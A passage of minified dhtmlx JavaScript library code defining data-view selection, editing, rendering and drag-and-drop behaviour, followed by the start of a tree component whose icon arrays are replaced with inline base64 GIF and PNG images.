a=dhtmlx.DragControl._drag_context;a.to=this;a.index=a.target?this.indexById(a.target):this.dataCount();a.new_id=dhtmlx.uid();if(!this.callEvent(\"onBeforeDrop\",[a,h])){return}if(a.from==a.to){this.move(a.source,a.index)}else{if(a.from){a.from.move(a.source,a.index,a.to,a.new_id)}else{dhtmlx.error(\"Unsopported d-n-d combination\")}}this.callEvent(\"onAfterDrop\",[a,h])},onDrag:function(g,l){var m=this.locate(l);var h=[m];if(m){if(this.getSelected){var c=this.getSelected();if(dhtmlx.PowerArray.find.call(c,m)!=-1){h=c}}var a=dhtmlx.DragControl._drag_context={source:h,start:m};a.from=this;if(this.callEvent(\"onBeforeDrag\",[a,l])){return a.html||this._toHTML(this.get(m))}}return null}};dhtmlx.EditAbility={_init:function(a){this._edit_id=null;this._edit_bind=null;dhtmlx.assert(this.data,\"EditAbility :: Component doesn't have DataStore\");dhtmlx.assert(this._locateHTML,\"EditAbility :: Component doesn't have RenderStack\");this.attachEvent(\"onEditKeyPress\",function(e,g,c){if(e==13&&!c){this.stopEdit()}else{if(e==27){this.stopEdit(true)}}});this.attachEvent(\"onBeforeRender\",function(){this.stopEdit()})},isEdit:function(){return this._edit_id},edit:function(c){if(this.stopEdit(false,c)){if(!this.callEvent(\"onBeforeEditStart\",[c])){return}var a=this.data.get(c);if(a.$template){return}a.$template=\"edit\";this.data.refresh(c);this._edit_id=c;this._save_binding(c);this._edit_bind(true,a);this.callEvent(\"onAfterEditStart\",[c])}},stopEdit:function(e,h){if(!this._edit_id){return true}if(this._edit_id==h){return false}var a={};if(!e){this._edit_bind(false,a)}else{a=null}if(!this.callEvent(\"onBeforeEditStop\",[this._edit_id,a])){return false}var c=this.data.get(this._edit_id);c.$template=null;if(!e){this._edit_bind(false,c)}var g=this._edit_id;this._edit_bind=this._edit_id=null;this.data.refresh(g);this.callEvent(\"onAfterEditStop\",[g,a]);return true},_save_binding:function(n){var a=this._locateHTML(n);var e=\"\";var l=\"\";var h=[];if(a){var g=a.getElementsByTagName(\"*\");var m=\"\";for(var c=0;c<g.length;c++){if(g[c].nodeType==1&&(m=g[c].getAttribute(\"bind\"))){e+=\"els[\"+h.length+\"].value=\"+m+\";\";l+=m+\"=els[\"+h.length+\"].value;\";h.push(g[c]);g[c].className+=\" dhx_allow_selection\";g[c].onselectstart=this._block_native}}g=null}e=Function(\"obj\",\"els\",e);l=Function(\"obj\",\"els\",l);this._edit_bind=function(q,o){if(q){e(o,h);if(h.length&&h[0].select){h[0].select()}}else{l(o,h)}}},_block_native:function(a){(a||event).cancelBubble=true;return true}};dhtmlx.SelectionModel={_init:function(){this._selected=dhtmlx.toArray();dhtmlx.assert(this.data,\"SelectionModel :: Component doesn't have DataStore\");this.data.attachEvent(\"onStoreUpdated\",dhtmlx.bind(this._data_updated,this));this.data.attachEvent(\"onStoreLoad\",dhtmlx.bind(this._data_loaded,this));this.data.attachEvent(\"onAfterFilter\",dhtmlx.bind(this._data_filtered,this));this.data.attachEvent(\"onIdChange\",dhtmlx.bind(this._id_changed,this))},_id_changed:function(e,a){for(var c=this._selected.length-1;c>=0;c--){if(this._selected[c]==e){this._selected[c]=a}}},_data_filtered:function(){for(var a=this._selected.length-1;a>=0;a--){if(this.data.indexById(this._selected[a])<0){var e=this._selected[a]}var c=this.item(e);if(c){delete c.$selected}this._selected.splice(a,1);this.callEvent(\"onSelectChange\",[e])}},_data_updated:function(e,c,a){if(a==\"delete\"){this._selected.remove(e)}else{if(!this.data.dataCount()&&!this.data._filter_order){this._selected=dhtmlx.toArray()}}},_data_loaded:function(){if(this._settings.select){this.data.each(function(a){if(a.$selected){this.select(a.id)}},this)}},_select_mark:function(e,c,a){if(!a&&!this.callEvent(\"onBeforeSelect\",[e,c])){return false}this.data.item(e).$selected=c;if(a){a.push(e)}else{if(c){this._selected.push(e)}else{this._selected.remove(e)}this._refresh_selection(e)}return true},select:function(g,e,a){if(!g){return this.selectAll()}if(g instanceof Array){for(var c=0;c<g.length;c++){this.select(g[c],e,a)}return}if(!this.data.exists(g)){dhtmlx.error(\"Incorrect id in select command: \"+g);return}if(a&&this._selected.length){return this.selectAll(this._selected[this._selected.length-1],g)}if(!e&&(this._selected.length!=1||this._selected[0]!=g)){this._silent_selection=true;this.unselectAll();this._silent_selection=false}if(this.isSelected(g)){if(e){this.unselect(g)}return}if(this._select_mark(g,true)){this.callEvent(\"onAfterSelect\",[g])}},unselect:function(a){if(!a){return this.unselectAll()}if(!this.isSelected(a)){return}this._select_mark(a,false)},selectAll:function(g,e){var a;var c=[];if(g||e){a=this.data.getRange(g||null,e||null)}else{a=this.data.getRange()}a.each(function(h){var l=this.data.item(h.id);if(!l.$selected){this._selected.push(h.id);this._select_mark(h.id,true,c)}return h.id},this);this._refresh_selection(c)},unselectAll:function(){var a=[];this._selected.each(function(c){this._select_mark(c,false,a)},this);this._selected=dhtmlx.toArray();this._refresh_selection(a)},isSelected:function(a){return this._selected.find(a)!=-1},getSelected:function(a){switch(this._selected.length){case 0:return a?[]:\"\";case 1:return a?[this._selected[0]]:this._selected[0];default:return([].concat(this._selected))}},_is_mass_selection:function(a){return a.length>100||a.length>this.data.dataCount/2},_refresh_selection:function(c){if(typeof c!=\"object\"){c=[c]}if(!c.length){return}if(this._is_mass_selection(c)){this.data.refresh()}else{for(var a=0;a<c.length;a++){this.render(c[a],this.data.item(c[a]),\"update\")}}if(!this._silent_selection){this.callEvent(\"onSelectChange\",[c])}}};dhtmlx.RenderStack={_init:function(){dhtmlx.assert(this.data,\"RenderStack :: Component doesn't have DataStore\");dhtmlx.assert(dhtmlx.Template,\"dhtmlx.Template :: dhtmlx.Template is not accessible\");this._html=document.createElement(\"DIV\")},_toHTML:function(a){dhtmlx.assert((!a.$template||this.type[\"template_\"+a.$template]),\"RenderStack :: Unknown template: \"+a.$template);this.callEvent(\"onItemRender\",[a]);return this.type._item_start(a,this.type)+(a.$template?this.type[\"template_\"+a.$template]:this.type.template)(a,this.type)+this.type._item_end},_toHTMLObject:function(a){this._html.innerHTML=this._toHTML(a);return this._html.firstChild},_locateHTML:function(a){if(this._htmlmap){return this._htmlmap[a]}this._htmlmap={};var e=this._dataobj.childNodes;for(var c=0;c<e.length;c++){var g=e[c].getAttribute(this._id);if(g){this._htmlmap[g]=e[c]}}return this._locateHTML(a)},locate:function(a){return dhtmlx.html.locate(a,this._id)},show:function(c){var a=this._locateHTML(c);if(a){this._dataobj.scrollTop=a.offsetTop-this._dataobj.offsetTop}},render:function(l,g,e,h){if(l){var a=this._locateHTML(l);switch(e){case\"update\":if(!a){return}var c=this._htmlmap[l]=this._toHTMLObject(g);dhtmlx.html.insertBefore(c,a);dhtmlx.html.remove(a);break;case\"delete\":if(!a){return}dhtmlx.html.remove(a);delete this._htmlmap[l];break;case\"add\":var c=this._htmlmap[l]=this._toHTMLObject(g);dhtmlx.html.insertBefore(c,this._locateHTML(this.data.next(l)),this._dataobj);break;case\"move\":this.render(l,g,\"delete\");this.render(l,g,\"add\");break;default:dhtmlx.error(\"Unknown render command: \"+e);break}}else{if(this.callEvent(\"onBeforeRender\",[this.data])){this._dataobj.innerHTML=this.data.getRange().map(this._toHTML,this).join(\"\");this._htmlmap=null}}this.callEvent(\"onAfterRender\",[])},pager_setter:function(c){this.attachEvent(\"onBeforeRender\",function(){var g=this._settings.pager._settings;if(g.page==-1){return false}this.data.min=g.page*g.size;this.data.max=(g.page+1)*g.size-1;return true});var a=new dhtmlx.ui.pager(c);var e=dhtmlx.bind(function(){this.data.refresh()},this);a.attachEvent(\"onRefresh\",e);this.data.attachEvent(\"onStoreUpdated\",function(h){var g=this.dataCount();if(g!=a._settings.count){a._settings.count=g;if(a._settings.page==-1){a._settings.page=0}a.refresh()}});return a},height_setter:function(a){if(a==\"auto\"){this.attachEvent(\"onAfterRender\",this._correct_height);dhtmlx.event(window,\"resize\",dhtmlx.bind(this._correct_height,this))}return a},_correct_height:function(){this._dataobj.style.overflow=\"hidden\";this._dataobj.style.height=\"1px\";var a=this._dataobj.scrollHeight;this._dataobj.style.height=a+\"px\";if(dhtmlx._isFF){var c=this._dataobj.scrollHeight;if(c!=a){this._dataobj.style.height=c+\"px\"}}this._obj.style.height=this._dataobj.style.height},_getDimension:function(){var a=this.type;var c=(a.border||0)+(a.padding||0)*2+(a.margin||0)*2;return{x:a.width+c,y:a.height+c}},x_count_setter:function(c){var e=this._getDimension();var a=dhtmlx.$customScroll?0:18;this._dataobj.style.width=e.x*c+(this._settings.height!=\"auto\"?a:0)+\"px\";return c},y_count_setter:function(a){var c=this._getDimension();this._dataobj.style.height=c.y*a+\"px\";return a}};dhtmlx.VirtualRenderStack={_init:function(){dhtmlx.assert(this.render,\"VirtualRenderStack :: Object must use RenderStack first\");this._htmlmap={};this._dataobj.style.overflowY=\"scroll\";dhtmlx.event(this._dataobj,\"scroll\",dhtmlx.bind(this._render_visible_rows,this));dhtmlx.event(window,\"resize\",dhtmlx.bind(function(){this.render()},this));this.data._unrendered_area=[];this.data.getIndexRange=this._getIndexRange},_locateHTML:function(a){return this._htmlmap[a]},show:function(e){range=this._getVisibleRange();var c=this.data.indexById(e);var a=Math.floor(c/range._dx)*range._y;this._dataobj.scrollTop=a},_getIndexRange:function(h,g){if(g!==0){g=Math.min((g||Infinity),this.dataCount()-1)}var a=dhtmlx.toArray();for(var c=(h||0);c<=g;c++){var e=this.item(this.order[c]);if(this.order.length>c){if(!e){this.order[c]=dhtmlx.uid();e={id:this.order[c],$template:\"loading\"};this._unrendered_area.push(this.order[c])}else{if(e.$template==\"loading\"){this._unrendered_area.push(this.order[c])}}a.push(e)}}return a},render:function(l,g,e,h){if(l){var a=this._locateHTML(l);switch(e){case\"update\":if(!a){return}var c=this._htmlmap[l]=this._toHTMLObject(g);dhtmlx.html.insertBefore(c,a);dhtmlx.html.remove(a);break;default:this._render_delayed();break}}else{if(this.callEvent(\"onBeforeRender\",[this.data])){this._htmlmap={};this._render_visible_rows(null,true);this._wait_for_render=false;this.callEvent(\"onAfterRender\",[])}}},_render_delayed:function(){if(this._wait_for_render){return}this._wait_for_render=true;window.setTimeout(dhtmlx.bind(function(){this.render()},this),1)},_create_placeholder:function(a){var c=document.createElement(\"DIV\");c.className=\"dhxdataview_placeholder\";c.style.cssText=\"height:\"+a+\"px; width:100%; overflow:hidden;\";return c},_render_visible_rows:function(A,E){this.data._unrendered_area=[];var y=this._getVisibleRange();if(!this._dataobj.firstChild||E){this._dataobj.innerHTML=\"\";this._dataobj.appendChild(this._create_placeholder(y._max));this._htmlrows=[this._dataobj.firstChild]}var l=Math.max(y._from,0);var x=(this.data.max||this.data.max===0)?this.data.max:Infinity;while(l<=y._height){while(this._htmlrows[l]&&this._htmlrows[l]._filled&&l<=y._height){l++}if(l>y._height){break}var o=l;while(!this._htmlrows[o]){o--}var a=this._htmlrows[o];var g=l*y._dx+(this.data.min||0);if(g>x){break}var m=Math.min(g+y._dx-1,x);var r=this._create_placeholder(y._y);var n=this.data.getIndexRange(g,m);if(!n.length){break}r.innerHTML=n.map(this._toHTML,this).join(\"\");for(var v=0;v<n.length;v++){this._htmlmap[this.data.idByIndex(g+v)]=r.childNodes[v]}var w=parseInt(a.style.height,10);var D=(l-o)*y._y;var u=(w-D-y._y);dhtmlx.html.insertBefore(r,D?a.nextSibling:a,this._dataobj);this._htmlrows[l]=r;r._filled=true;if(D<=0&&u>0){a.style.height=u+\"px\";this._htmlrows[l+1]=a}else{if(D<0){dhtmlx.html.remove(a)}else{a.style.height=D+\"px\"}if(u>0){var q=this._htmlrows[l+1]=this._create_placeholder(u);dhtmlx.html.insertBefore(q,r.nextSibling,this._dataobj)}}l++}if(this.data._unrendered_area.length){var s=this.indexById(this.data._unrendered_area[0]);var c=this.indexById(this.data._unrendered_area.pop())+1;if(c>s){if(!this.callEvent(\"onDataRequest\",[s,c-s])){return false}dhtmlx.assert(this.data.feed,\"Data feed is missed\");this.data.feed.call(this,s,c-s)}}if(dhtmlx._isIE){var C=this._getVisibleRange();if(C._from!=y._from){this._render_visible_rows()}}},_getVisibleRange:function(){var c=dhtmlx.$customScroll?0:18;var m=this._dataobj.scrollTop;var a=Math.max(this._dataobj.scrollWidth,this._dataobj.offsetWidth)-c;var n=this._dataobj.offsetHeight;var q=this.type;var g=this._getDimension();var r=Math.floor(a/g.x)||1;var e=Math.floor(m/g.y);var o=Math.ceil((n+m)/g.y)-1;var h=this.data.max?(this.data.max-this.data.min):this.data.dataCount();var l=Math.ceil(h/r)*g.y;return{_from:e,_height:o,_top:m,_max:l,_y:g.y,_dx:r}}};dhtmlXDataView=function(a){this.name=\"DataView\";if(dhtmlx.assert_enabled()){this._assert()}dhtmlx.extend(this,dhtmlx.Settings);this._parseContainer(a,\"dhx_dataview\");dhtmlx.extend(this,dhtmlx.AtomDataLoader);dhtmlx.extend(this,dhtmlx.DataLoader);dhtmlx.extend(this,dhtmlx.EventSystem);dhtmlx.extend(this,dhtmlx.RenderStack);dhtmlx.extend(this,dhtmlx.SelectionModel);dhtmlx.extend(this,dhtmlx.MouseEvents);dhtmlx.extend(this,dhtmlx.KeyEvents);dhtmlx.extend(this,dhtmlx.EditAbility);dhtmlx.extend(this,dhtmlx.DataMove);dhtmlx.extend(this,dhtmlx.DragItem);dhtmlx.extend(this,dhtmlx.DataProcessor);dhtmlx.extend(this,dhtmlx.AutoTooltip);dhtmlx.extend(this,dhtmlx.Destruction);this.data.attachEvent(\"onStoreUpdated\",dhtmlx.bind(function(){this.render.apply(this,arguments)},this));this._parseSettings(a,{drag:false,edit:false,select:\"multiselect\",type:\"default\"});if(this._settings.height!=\"auto\"&&!this._settings.renderAll){dhtmlx.extend(this,dhtmlx.VirtualRenderStack)}this.data.provideApi(this,true);if(dhtmlx.$customScroll){dhtmlx.CustomScroll.enable(this)}};dhtmlXDataView.prototype={bind:function(){dhx.BaseBind.legacyBind.apply(this,arguments)},sync:function(){dhx.BaseBind.legacySync.apply(this,arguments)},dragMarker:function(e,h){var g=this._locateHTML(e.target);if(this.type.drag_marker){if(this._drag_marker){this._drag_marker.style.backgroundImage=\"\";this._drag_marker.style.backgroundRepeat=\"\"}if(g){g.style.backgroundImage=\"url(\"+(dhtmlx.image_path||\"\")+this.type.drag_marker+\")\";g.style.backgroundRepeat=\"no-repeat\";this._drag_marker=g}}if(g&&this._settings.auto_scroll){var a=g.offsetTop;var l=g.offsetHeight;var c=this._obj.scrollTop;var m=this._obj.offsetHeight;if(a-l>=0&&a-l*0.75<c){c=Math.max(a-l,0)}else{if(a+l/0.75>c+m){c=c+l}}this._obj.scrollTop=c}return true},_id:\"dhx_f_id\",on_click:{dhx_dataview_item:function(a,c){if(this.stopEdit(false,c)){if(this._settings.select){if(this._settings.select==\"multiselect\"){this.select(c,a.ctrlKey,a.shiftKey)}else{this.select(c)}}}}},on_dblclick:{dhx_dataview_item:function(a,c){if(this._settings.edit){this.edit(c)}}},on_mouse_move:{},types:{\"default\":{css:\"default\",template:dhtmlx.Template.fromHTML(\"<div style='padding:10px; white-space:nowrap; overflow:hidden;'>{obj.text}</div>\"),template_edit:dhtmlx.Template.fromHTML(\"<div style='padding:10px; white-space:nowrap; overflow:hidden;'><textarea style='width:100%; height:100%;' bind='obj.text'></textarea></div>\"),template_loading:dhtmlx.Template.fromHTML(\"<div style='padding:10px; white-space:nowrap; overflow:hidden;'>Loading...</div>\"),width:210,height:115,margin:0,padding:10,border:1}},template_item_start:dhtmlx.Template.fromHTML(\"<div dhx_f_id='{-obj.id}' class='dhx_dataview_item dhx_dataview_{obj.css}_item{-obj.$selected?_selected:}' style='width:{obj.width}px; height:{obj.height}px; padding:{obj.padding}px; margin:{obj.margin}px; float:left; overflow:hidden;'>\"),template_item_end:dhtmlx.Template.fromHTML(\"</div>\")};dhtmlx.compat(\"layout\");if(typeof(window.dhtmlXCellObject)!=\"undefined\"){dhtmlXCellObject.prototype.attachDataView=function(a){this.callEvent(\"_onBeforeContentAttach\",[\"dataview\"]);var c=document.createElement(\"DIV\");c.style.width=\"100%\";c.style.height=\"100%\";c.style.position=\"relative\";c.style.overflow=\"hidden\";this._attachObject(c);if(typeof(a)==\"undefined\"){a={}}c.id=\"DataViewObject_\"+new Date().getTime();a.container=c.id;a.skin=this.conf.skin;this.dataType=\"dataview\";this.dataObj=new dhtmlXDataView(a);this.dataObj.setSizes=function(){this.render()};c=null;this.callEvent(\"_onContentAttach\",[]);return this.dataObj}}function xmlPointer(a){this.d=a}xmlPointer.prototype={text:function(){if(!_isFF){return this.d.xml}var a=new XMLSerializer();return a.serializeToString(this.d)},get:function(a){return this.d.getAttribute(a)},exists:function(){return !!this.d},content:function(){return this.d.firstChild?(this.d.firstChild.wholeText||this.d.firstChild.data):\"\"},each:function(g,m,l,h){var e=this.d.childNodes;var n=new xmlPointer();if(e.length){for(h=h||0;h<e.length;h++){if(e[h].tagName==g){n.d=e[h];if(m.apply(l,[n,h])==-1){return}}}}},get_all:function(){var e={};var c=this.d.attributes;for(var g=0;g<c.length;g++){e[c[g].name]=c[g].value}return e},sub:function(g){var e=this.d.childNodes;var l=new xmlPointer();if(e.length){for(var h=0;h<e.length;h++){if(e[h].tagName==g){l.d=e[h];return l}}}},up:function(a){return new xmlPointer(this.d.parentNode)},set:function(a,c){this.d.setAttribute(a,c)},clone:function(a){return new xmlPointer(this.d)},sub_exists:function(e){var c=this.d.childNodes;if(c.length){for(var g=0;g<c.length;g++){if(c[g].tagName==e){return true}}}return false},through:function(e,m,q,h,r){var n=this.d.childNodes;if(n.length){for(var g=0;g<n.length;g++){if(n[g].tagName==e&&n[g].getAttribute(m)!=null&&n[g].getAttribute(m)!=\"\"&&(!q||n[g].getAttribute(m)==q)){var l=new xmlPointer(n[g]);h.apply(r,[l,g])}var o=this.d;this.d=n[g];this.through(e,m,q,h,r);this.d=o}}}};function dhtmlXTreeObject(m,h,c,a){if(dhtmlxEvent.initTouch){dhtmlxEvent.initTouch()}if(_isIE){try{document.execCommand(\"BackgroundImageCache\",false,true)}catch(l){}}if(typeof(m)!=\"object\"){this.parentObject=document.getElementById(m)}else{this.parentObject=m}this.parentObject.style.overflow=\"hidden\";this._itim_dg=true;this.dlmtr=\",\";this.dropLower=false;this.enableIEImageFix(true);this.xmlstate=0;this.mytype=\"tree\";this.smcheck=true;this.width=h;this.height=c;this.rootId=a;this.childCalc=null;this.def_img_x=\"18px\";this.def_img_y=\"18px\";this.def_line_img_x=\"18px\";this.def_line_img_y=\"24px\";this._dragged=new Array();this._selected=new Array();this.style_pointer=\"pointer\";this._aimgs=true;this.htmlcA=\" [\";this.htmlcB=\"]\";this.lWin=window;this.cMenu=0;this.mlitems=0;this.iconURL=\"\";this.dadmode=0;this.slowParse=false;this.autoScroll=true;this.hfMode=0;this.nodeCut=new Array();this.XMLsource=0;this.XMLloadingWarning=0;this._idpull={};this._pullSize=0;this.treeLinesOn=true;this.tscheck=false;this.timgen=true;this.dpcpy=false;this._ld_id=null;this._oie_onXLE=[];this.imPath=window.dhx_globalImgPath||\"\";\n\n  // this.checkArray=new Array(\"iconUncheckAll.gif\",\"iconCheckAll.gif\",\"iconCheckGray.gif\",\"iconUncheckDis.gif\",\"iconCheckDis.gif\",\"iconCheckDis.gif\");this.radioArray=new Array(\"radio_off.gif\",\"radio_on.gif\",\"radio_on.gif\",\"radio_off.gif\",\"radio_on.gif\",\"radio_on.gif\");this.lineArray=new Array(\"line2.gif\",\"line3.gif\",\"line4.gif\",\"blank.gif\",\"blank.gif\",\"line1.gif\");this.minusArray=new Array(\"minus2.gif\",\"minus3.gif\",\"minus4.gif\",\"minus.gif\",\"minus5.gif\");this.plusArray=new Array(\"plus2.gif\",\"plus3.gif\",\"plus4.gif\",\"plus.gif\",\"plus5.gif\");this.imageArray=new Array(\"leaf.gif\",\"folderOpen.gif\",\"folderClosed.gif\");this.cutImg=new Array(0,0,0);this.cutImage=\"but_cut.gif\";\nthis.checkArray=new Array(\"iconUncheckAll.gif\",\"iconCheckAll.gif\",\"iconCheckGray.gif\",\"iconUncheckDis.gif\",\"iconCheckDis.gif\",\"iconCheckDis.gif\");this.radioArray=new Array(\"radio_off.gif\",\"radio_on.gif\",\"radio_on.gif\",\"radio_off.gif\",\"radio_on.gif\",\"radio_on.gif\");this.cutImg=new Array(0,0,0);this.cutImage=\"but_cut.gif\";\n// changed here at 2015-12-21\nthis.lineArray=new Array(\"data:image/gif;base64,R0lGODlhEgAYAIABANjY2P///yH5BAEKAAEALAAAAAASABgAAAIhjG+Ay9nvYFOS0Youjpt3vYGYWJESgKZqx7buC8fyTG8FADs=\",\"data:image/gif;base64,R0lGODlhEgAYAIABANjY2PT09CH5BAEAAAEALAAAAAASABgAAAIojG+Ay9nvYFOS0Youjpt3vYGYWJESgKbqY0It2x3vFHthHcwWri9tAQA7\",\"data:image/gif;base64,R0lGODlhEgAYAIABANjY2PT09CH5BAEAAAEALAAAAAASABgAAAIajI+py+0Po5y02kuB3pyB+mXgKJZTeJKpqRQAOw==\",\"data:image/gif;base64,R0lGODlhEgASAIAAAP///////yH5BAUUAAEALAAAAAASABIAAAIPjI+py+0Po5y02ouz3pwXADs=\",\"data:image/gif;base64,R0lGODlhEgASAIAAAP///////yH5BAUUAAEALAAAAAASABIAAAIPjI+py+0Po5y02ouz3pwXADs=\",\"data:image/gif;base64,R0lGODlhEgAYAIABANjY2PT09CH5BAEAAAEALAAAAAASABgAAAImjG+Ay9nvYFOS0Youjpt3vYGYWJGSCaGPOnUHa7leKAfwcmc1WgAAOw==\");\nthis.minusArray=new Array(\"data:image/gif;base64,R0lGODlhEgAYAKIFAF12hNnZ2djY2LW+w+rv8vT09AAAAAAAACH5BAEAAAUALAAAAAASABgAAAM8WLoq/LDFKWl0FuLMNq8faAVDaQ4BNRBsSwyq28LTKr8xoOuv4PsMm4wWEbqIEOOMQjqVUqGodEqtWjMJADs=\",\"data:image/gif;base64,R0lGODlhEgAYAKIFAF12hNnZ2djY2LW+w+rv8vT09AAAAAAAACH5BAEAAAUALAAAAAASABgAAANCWLoq/LDFKWl0FuLMNq8faAVDaQ4BNRBsSwyq28LTKr8xoOuv4PsMm4wWEbqIEOOMQjqVUhzPRxoNLagZrEVL4SYAADs=\",\"data:image/gif;base64,R0lGODlhEgAYAKIFAF12hNnZ2djY2LW+w+rv8vT09AAAAAAAACH5BAEAAAUALAAAAAASABgAAAM6WLrc/jDKSau9mIbB+wjRQIwkMYQleUJiaqJAHJtCXTNtuj55uTs9VWTj4YAogkwSs7w0Lc9KFBlJAAA7\",\"data:image/gif;base64,R0lGODlhEgAYAKIEAF12hNnZ2bW+w+rv8vT09AAAAAAAAAAAACH5BAEAAAQALAAAAAASABgAAAMwSLrc/jDKSau9mAbBuwiRMIzkIIQleUJiaqJAHL+sSz9tuuL27mweDihDLBqPyEoCADs=\",\"data:image/gif;base64,R0lGODlhEgAYAMIFANjY2F12hNnZ2bW+w+rv8v///////////yH5BAEKAAcALAAAAAASABgAAAM0eLrc/jDKSau9mIrB+xDRQIwkMYQleUJiaqJBHJtAXTNtuj55uTs9VWTj4YAyyKRyyawkAAA7\");\nthis.plusArray=new Array(\"data:image/gif;base64,R0lGODlhEgAYAMIFANnZ2V12hNjY2LW+w+rv8v///////////yH5BAEKAAcALAAAAAASABgAAANAeLoq/LDFKWl0FuLMNq8faAFDaQ4ANRBsSwxqG7TwtLIzW0dr4PsvgVDIuBFyrxiOpnQlJ6RTKRWqWq/YrDaTAAA7\",\"data:image/gif;base64,R0lGODlhEgAYAMIFANnZ2V12hNjY2LW+w+rv8v///////////yH5BAEKAAcALAAAAAASABgAAANFeLoq/LDFKWl0FuLMNq8faAFDaQ4ANRBsSwxqG7TwtLIzW0dr4PsvgVDIuBFyrxiOpnQlJ6RTKcXxfKzV0AKb4Vq8FHACADs=\",\"data:image/gif;base64,R0lGODlhEgAYAKIFANnZ2V12hNjY2LW+w+rv8vT09AAAAAAAACH5BAEAAAUALAAAAAASABgAAAM9WLrc/jDKSau9mILB+wDRQIwkMYRkQJ6QOKoj+4hBXZtCnjMuAZuo1ypYAkI2Hg6IIsg0Mc9L1DKtVJmRBAA7\",\"data:image/gif;base64,R0lGODlhEgAYAKIEANnZ2V12hLW+w+rv8vT09AAAAAAAAAAAACH5BAEAAAQALAAAAAASABgAAAM0SLrc/jDKSau9mALBuwCRMIzkIIRkQJ6QOKoj+4hBXZvou+YDjLelHWTj4YAyyKRyyawkAAA7\",\"data:image/gif;base64,R0lGODlhEgAYAMIFANjY2NnZ2V12hLW+w+rv8v///////////yH5BAEKAAcALAAAAAASABgAAAM3eLrc/jDKSau9mIbB+wjRQIwkMYSkQJ6QOKoj+4hCXZtAnjMuAZuo1ypYAkI2Hg4ow2w6n9BKAgA7\");\nthis.imageArray=new Array(\n    \"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QA/4ePzL8AAAAJcEhZcwAADsQAAA7EAZUrDhsAAABzSURBVCjPzZG9CYAwFIS/yIMUKezdy0kcxzHcwjEsXEBEIsHYiOYP0nrdwcdx9x5UpGgRABwbVw4IAxqP4mRiLgHdm9VjWVBRvlOMgd05kgArgfEYTNpRIuuzCr6pzfwDINFhisCKLsx7roD9nlWWq1XgBj4uFOvCNzabAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE1LTA3LTI1VDIxOjQ5OjM0KzA4OjAwGusg6gAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxMy0wNy0wNVQyMDo1MTo1MiswODowMGcLKB0AAABOdEVYdHNvZnR3YXJlAEltYWdlTWFnaWNrIDYuOC44LTEwIFExNiB4ODZfNjQgMjAxNS0wNy0xOSBodHRwOi8vd3d3LmltYWdlbWFnaWNrLm9yZwUMnDUAAAAYdEVYdFRodW1iOjpEb2N1bWVudDo6UGFnZXMAMaf/uy8AAAAYdEVYdFRodW1iOjpJbWFnZTo6SGVpZ2h0ADI1NunDRBkAAAAXdEVYdFRodW1iOjpJbWFnZTo6V2lkdGgAMjU2ejIURAAAABl0RVh0VGh1bWI6Ok1pbWV0eXBlAGltYWdlL3BuZz+yVk4AAAAXdEVYdFRodW1iOjpNVGltZQAxMzczMDI4NzEyPpsUzwAAABN0RVh0VGh1bWI6OlNpemUAMS4yMktCQqSoG1oAAABadEVYdFRodW1iOjpVUkkAZmlsZTovLy9ob21lL3d3d3Jvb3Qvd3d3LmVhc3lpY29uLm5ldC9jZG4taW1nLmVhc3lpY29uLmNuL3NyYy8xMTIwMi8xMTIwMjAzLnBuZ3cYP4YAAAAASUVORK5CYII=\",\n    \"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAQAAAC1+jfqAAAABGdBTUEAALGPC/xhBQAAACBjSFJNAAB6JgAAgIQAAPoAAACA6AAAdTAAAOpgAAA6mAAAF3CculE8AAAAAmJLR0QA/4ePzL8AAAAJcEhZcwAADsQAAA7EAZUrDhsAAACjSURBVCjPhdDNTQJRFAbQcx8PjQsiexsxsQMKsBELsgi7oAZXJmxISIzjgMAbxs3EGJwn3/ae3D8uJNzKoGic/oLsybVeOHixHAN3CIRHR2/iV/WkyYp3x2HcwvYMvGatZytpIHE24SHb22iqJ+yTL4fqjckk2Q0bjGUikp3yD+iTVlcFU13Sjv3vB5TkU18FV0p2475S7s2sw9y00iN0PlzKN0m2LOLfztsOAAAAJXRFWHRkYXRlOmNyZWF0ZQAyMDE1LTA3LTI1VDIxOjQ5OjM0KzA4OjAwGusg6gAAACV0RVh0ZGF0ZTptb2RpZnkAMjAxMy0wNy0wNVQyMDo1MTo1MyswODowMMF8I6kAAABOdEVYdHNvZnR3YXJlAEltYWdlTWFnaWNrIDYuOC44LTEwIFExNiB4ODZfNjQgMjAxNS0wNy0xOSBodHRwOi8vd3d3LmltYWdlbWFnaWNrLm9yZwUMnDUAAAAYdEVYdFRodW1iOjpEb2N1bWVudDo6UGFnZXMAMaf/uy8AAAAYdEVYdFRodW1iOjpJbWFnZTo6SGVpZ2h0ADI1NunDRBkAAAAXdEVYdFRodW1iOjpJbWFnZTo6V2lkdGgAMjU2ejIURAAAABl0RVh0VGh1bWI6Ok1pbWV0eXBlAGltYWdlL3BuZz+yVk4AAAAXdEVYdFRodW1iOjpNVGltZQAxMzczMDI4NzEzSZwkWQAAABN0RVh0VGh1bWI6OlNpemUAMi4wNktCQmDixfAAAABadEVYdFRodW1iOjpVUkkAZmlsZTovLy9ob21lL3d3d3Jvb3Qvd3d3LmVhc3lpY29uLm5ldC9jZG4taW1nLmVhc3lpY29uLmNuL3NyYy8xMTIwMi8xMTIwMjA3LnBuZ4KYmUYAAAAASUVORK5CYII=\",\n    